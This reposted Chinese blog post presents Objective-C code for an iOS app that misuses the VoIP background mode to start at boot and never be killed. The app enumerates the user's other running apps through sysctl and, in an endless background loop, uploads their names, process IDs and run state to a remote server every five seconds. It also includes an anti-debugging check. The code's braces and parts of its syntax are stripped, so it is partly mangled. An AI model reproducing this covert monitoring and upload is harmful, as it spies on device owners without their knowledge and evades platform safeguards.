IOS邪术之 杀不死的后台&监听进程

移动开发 iOS
开机启动:App安装到IOS设备设备之后,无论App是否开启过,只要IOS设备重启,App就会随之启动;无限后台运行:应用进入后台状态,可以无限后台运行,不被系统kill;

非越狱情况下实现:

开机启动:App安装到IOS设备设备之后,无论App是否开启过,只要IOS设备重启,App就会随之启动;

***后台运行:应用进入后台状态,可以***后台运行,不被系统kill;

监听进程:可获IOS设备运行除系统外的App(包括正在运行和后台运行);

配置项目 plist文件

添加:

 

  1. <key>UIBackgroundModes</key> 
  2.  
  3. <array> 
  4.  
  5. <string>voip</string> 
  6.  
  7. </array> 

 


功能类:ProccessHelper

 

  1. [objc] view plaincopy 
  2.  
  3. #import <Foundation/Foundation.h> 
  4.  
  5. @interface ProccessHelper : NSObject 
  6.  
  7. + (NSArray *)runningProcesses; 
  8.  
  9. @end 
  10.  
  11. [cpp] view plaincopyprint? 
  12. #import "ProccessHelper.h" 
  13. //#include<objc/runtime.h> 
  14. #include <sys/sysctl.h> 
  15.  
  16. #include <stdbool.h> 
  17. #include <sys/types.h> 
  18. #include <unistd.h> 
  19. #include <sys/sysctl.h> 
  20.  
  21. @implementation ProccessHelper 
  22.  
  23. //You can determine if your app is being run under the debugger with the following code from 
  24. static bool AmIBeingDebugged(void
  25. // Returns true if the current process is being debugged (either 
  26. // running under the debugger or has a debugger attached post facto). 
  27. int junk; 
  28. int mib[4]; 
  29. struct kinfo_proc info; 
  30. size_t size; 
  31.  
  32. // Initialize the flags so that, if sysctl fails for some bizarre 
  33. // reason, we get a predictable result. 
  34.  
  35. info.kp_proc.p_flag = 0
  36.  
  37. // Initialize mib, which tells sysctl the info we want, in this case 
  38. // we're looking for information about a specific process ID. 
  39.  
  40. mib[0] = CTL_KERN; 
  41. mib[1] = KERN_PROC; 
  42. mib[2] = KERN_PROC_PID; 
  43. mib[3] = getpid(); 
  44.  
  45. // Call sysctl. 
  46.  
  47. size = sizeof(info); 
  48. junk = sysctl(mib, sizeof(mib) / sizeof(*mib), &info, &size, NULL, 0); 
  49. assert(junk == 0); 
  50.  
  51. // We're being debugged if the P_TRACED flag is set. 
  52.  
  53. return ( (info.kp_proc.p_flag & P_TRACED) != 0 ); 
  54.  
  55. //返回所有正在运行的进程的 id,name,占用cpu,运行时间 
  56. //使用函数int sysctl(int *, u_int, void *, size_t *, void *, size_t) 
  57. + (NSArray *)runningProcesses 
  58. //指定名字参数,按照顺序***个元素指定本请求定向到内核的哪个子系统,第二个及其后元素依次细化指定该系统的某个部分。 
  59. //CTL_KERN,KERN_PROC,KERN_PROC_ALL 正在运行的所有进程 
  60. int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_ALL ,0}; 
  61.  
  62.  
  63. size_t miblen = 4
  64. //值-结果参数:函数被调用时,size指向的值指定该缓冲区的大小;函数返回时,该值给出内核存放在该缓冲区中的数据量 
  65. //如果这个缓冲不够大,函数就返回ENOMEM错误 
  66. size_t size; 
  67. //返回0,成功;返回-1,失败 
  68. int st = sysctl(mib, miblen, NULL, &size, NULL, 0); 
  69.  
  70. struct kinfo_proc * process = NULL; 
  71. struct kinfo_proc * newprocess = NULL; 
  72. do 
  73. size += size / 10
  74. newprocess = realloc(process, size); 
  75. if (!newprocess) 
  76. if (process) 
  77. free(process); 
  78. process = NULL; 
  79. return nil; 
  80.  
  81. process = newprocess; 
  82. st = sysctl(mib, miblen, process, &size, NULL, 0); 
  83. while (st == -1 && errno == ENOMEM); 
  84.  
  85. if (st == 0
  86. if (size % sizeof(struct kinfo_proc) == 0
  87. int nprocess = size / sizeof(struct kinfo_proc); 
  88. if (nprocess) 
  89. NSMutableArray * array = [[NSMutableArray alloc] init]; 
  90. for (int i = nprocess - 1; i >= 0; i--) 
  91. NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; 
  92. NSString * processID = [[NSString alloc] initWithFormat:@"%d", process[i].kp_proc.p_pid]; 
  93. NSString * processName = [[NSString alloc] initWithFormat:@"%s", process[i].kp_proc.p_comm]; 
  94. NSString * proc_CPU = [[NSString alloc] initWithFormat:@"%d", process[i].kp_proc.p_estcpu]; 
  95. double t = [[NSDate date] timeIntervalSince1970] - process[i].kp_proc.p_un.__p_starttime.tv_sec; 
  96. NSString * proc_useTiem = [[NSString alloc] initWithFormat:@"%f",t]; 
  97. NSString *startTime = [[NSString alloc] initWithFormat:@"%ld", process[i].kp_proc.p_un.__p_starttime.tv_sec]; 
  98. NSString * status = [[NSString alloc] initWithFormat:@"%d",process[i].kp_proc.p_flag]; 
  99.  
  100. NSMutableDictionary *dic = [[NSMutableDictionary alloc] init]; 
  101. [dic setValue:processID forKey:@"ProcessID"]; 
  102. [dic setValue:processName forKey:@"ProcessName"]; 
  103. [dic setValue:proc_CPU forKey:@"ProcessCPU"]; 
  104. [dic setValue:proc_useTiem forKey:@"ProcessUseTime"]; 
  105. [dic setValue:proc_useTiem forKey:@"ProcessUseTime"]; 
  106. [dic setValue:startTime forKey:@"startTime"]; 
  107.  
  108. // 18432 is the currently running application 
  109. // 16384 is background 
  110. [dic setValue:status forKey:@"status"]; 
  111.  
  112. [processID release]; 
  113. [processName release]; 
  114. [proc_CPU release]; 
  115. [proc_useTiem release]; 
  116. [array addObject:dic]; 
  117. [startTime release]; 
  118. [status release]; 
  119. [dic release]; 
  120.  
  121. [pool release]; 
  122.  
  123. free(process); 
  124. process = NULL; 
  125. //NSLog(@"array = %@",array); 
  126.  
  127. return array; 
  128.  
  129. return nil; 
  130.  
  131. @end  

 

实现代码:

 

  1. [objc] view plaincopy 
  2.  
  3. systemprocessArray = [[NSMutableArray arrayWithObjects: 
  4. @"kernel_task"
  5. @"launchd"
  6. @"UserEventAgent"
  7. @"wifid"
  8. @"syslogd"
  9. @"powerd"
  10. @"lockdownd"
  11. @"mediaserverd"
  12. @"mediaremoted"
  13. @"mDNSResponder"
  14. @"locationd"
  15. @"imagent"
  16. @"iapd"
  17. @"fseventsd"
  18. @"fairplayd.N81"
  19. @"configd"
  20. @"apsd"
  21. @"aggregated"
  22. @"SpringBoard"
  23. @"CommCenterClassi"
  24. @"BTServer"
  25. @"notifyd"
  26. @"MobilePhone"
  27. @"ptpd"
  28. @"afcd"
  29. @"notification_pro"
  30. @"notification_pro"
  31. @"syslog_relay"
  32. @"notification_pro"
  33. @"springboardservi"
  34. @"atc"
  35. @"sandboxd"
  36. @"networkd"
  37. @"lsd"
  38. @"securityd"
  39. @"lockbot"
  40. @"installd"
  41. @"debugserver"
  42. @"amfid"
  43. @"AppleIDAuthAgent"
  44. @"BootLaunch"
  45. @"MobileMail"
  46. @"BlueTool"
  47. nil nil] retain]; 
  48.  
  49.  
  50. [objc] view plaincopy 
  51.  
  52. - (void)applicationDidEnterBackground:(UIApplication *)application 
  53. while (1) { 
  54. sleep(5); 
  55. [self postMsg]; 
  56.  
  57. [cpp] view plaincopyprint? 
  58. [[UIApplication sharedApplication] setKeepAliveTimeout:600 handler:^{ 
  59. NSLog(@"KeepAlive"); 
  60. }]; 
  61.  
  62. - (void)applicationWillResignActive:(UIApplication *)application 
  63. - (void)applicationWillEnterForeground:(UIApplication *)application 
  64. - (void)applicationDidBecomeActive:(UIApplication *)application 
  65. - (void)applicationWillTerminate:(UIApplication *)application 
  66.  
  67. #pragma mark - 
  68. #pragma mark - User Method 
  69.  
  70. - (void) postMsg 
  71. //上传到服务器 
  72. NSURL *url = [self getURL]; 
  73. NSURLRequest *request = [[NSURLRequest alloc]initWithURL:url cachePolicy:NSURLRequestUseProtocolCachePolicy timeoutInterval:10]; 
  74. NSError *error = nil; 
  75. NSData *received = [NSURLConnection sendSynchronousRequest:request returningResponse:nil error:&error]; 
  76.  
  77. if (error) { 
  78. NSLog(@"error:%@", [error localizedDescription]); 
  79.  
  80. NSString *str = [[NSString alloc]initWithData:received encoding:NSUTF8StringEncoding]; 
  81. NSLog(@"%@",str); 
  82.  
  83. - (NSURL *) getURL 
  84. UIDevice *device = [UIDevice currentDevice]; 
  85.  
  86. NSString* uuid = @"TESTUUID"
  87. NSString* manufacturer = @"apple"
  88. NSString* model = [device model]; 
  89. NSString* mobile = [device systemVersion]; 
  90.  
  91. NSString *msg = [NSString stringWithFormat:@"Msg:%@ Time:%@", [self processMsg], [self getTime]]; 
  92. CFShow(msg); 
  93.  
  94. / 省略部分代码 / 
  95.  
  96. NSString *urlStr = [strUrl stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding]; 
  97. NSURL *url = [NSURL URLWithString:urlStr]; 
  98.  
  99. return url; 
  100.  
  101. - (BOOL) checkSystemProccess:(NSString *) proName 
  102. if ([systemprocessArray containsObject:proName]) { 
  103. return YES; 
  104. return NO; 
  105.  
  106. - (BOOL) checkFirst:(NSString *) string 
  107. NSString *str = [string substringToIndex:1]; 
  108. NSRange r = [@"ABCDEFGHIJKLMNOPQRSTUVWXWZ" rangeOfString:str]; 
  109.  
  110. if (r.length > 0) { 
  111. return YES; 
  112. return NO; 
  113.  
  114. - (NSString *) processMsg 
  115. NSArray *proMsg = [ProccessHelper runningProcesses]; 
  116.  
  117. if (proMsg == nil) { 
  118. return nil; 
  119.  
  120. NSMutableArray *proState = [NSMutableArray array]; 
  121. for (NSDictionary *dic in proMsg) { 
  122.  
  123. NSString *proName = [dic objectForKey:@"ProcessName"]; 
  124. if (![self checkSystemProccess:proName] && [self checkFirst:proName]) { 
  125. NSString *proID = [dic objectForKey:@"ProcessID"]; 
  126. NSString *proStartTime = [dic objectForKey:@"startTime"]; 
  127.  
  128. if ([[dic objectForKey:@"status"] isEqualToString:@"18432"]) { 
  129. NSString *msg = [NSString stringWithFormat:@"ProcessName:%@ - ProcessID:%@ - StartTime:%@ Running:YES", proName, proID, proStartTime]; 
  130. [proState addObject:msg]; 
  131. else { 
  132. NSString *msg = [NSString stringWithFormat:@"ProcessName:%@ - ProcessID:%@ - StartTime:%@ Running:NO", proName, proID, proStartTime]; 
  133. [proState addObject:msg]; 
  134.  
  135. NSString *msg = [proState componentsJoinedByString:@"______"]; 
  136. return msg; 
  137.  
  138. // 获取时间 
  139. - (NSString *) getTime 
  140. NSDateFormatter *formatter =[[[NSDateFormatter alloc] init] autorelease]; 
  141. formatter.dateStyle = NSDateFormatterMediumStyle; 
  142. formatter.timeStyle = NSDateFormatterMediumStyle; 
  143. formatter.locale = [NSLocale currentLocale]; 
  144.  
  145. NSDate *date = [NSDate date]; 
  146.  
  147. [formatter setTimeStyle:NSDateFormatterMediumStyle]; 
  148. NSCalendar *calendar = [[[NSCalendar alloc] initWithCalendarIdentifier:NSGregorianCalendar] autorelease]; 
  149. NSDateComponents *comps = [[[NSDateComponents alloc] init] autorelease]; 
  150. NSInteger unitFlags = NSYearCalendarUnit | 
  151. NSMonthCalendarUnit | 
  152. NSDayCalendarUnit | 
  153. NSWeekdayCalendarUnit | 
  154. NSHourCalendarUnit | 
  155. NSMinuteCalendarUnit | 
  156. NSSecondCalendarUnit; 
  157. comps = [calendar components:unitFlags fromDate:date]; 
  158. int year = [comps year]; 
  159. int month = [comps month]; 
  160. int day = [comps day]; 
  161. int hour = [comps hour]; 
  162. int min = [comps minute]; 
  163. int sec = [comps second]; 
  164.  
  165. NSString *time = [NSString stringWithFormat:@"%d-%d-%d %d:%d:%d", year, month, day, hour, min, sec]; 
  166.  
  167. return time; 
  168.  
  169. @end  

 

责任编辑:chenqingxiang 来源: ztp800201的博客
相关推荐

2014-01-06 10:09:40

2021-06-15 08:44:51

Android 谷歌OEM

2021-06-15 14:25:54

GoogleAndorid应用程序

2019-11-01 14:30:35

iOS 13.2苹果APP

2019-11-04 14:15:33

微信iOS 13.2APP

2010-05-05 16:30:25

Oracle后台进程

2010-10-29 15:54:13

Oracle后台进程

2010-09-02 13:37:13

2024-03-20 00:00:00

大语言模型人工智能AI

2010-03-31 14:36:50

Oracle进程结构

2010-07-14 16:19:33

郭台铭

2018-11-08 12:27:02

十字符病毒云服务器

2020-08-14 10:52:13

微软手机双屏手机

2023-03-02 23:50:36

Linux进程管理

2021-11-15 10:35:46

Python线程代码

2009-07-06 15:53:28

微软Windows 7杀毒

2018-09-12 21:25:15

iOSAppcrash

2011-08-24 10:31:10

Oracle数据库进程后台进程

2011-08-04 18:48:21

IOS 后台

2009-08-11 10:25:18

苹果乔布斯
点赞
收藏

51CTO技术栈公众号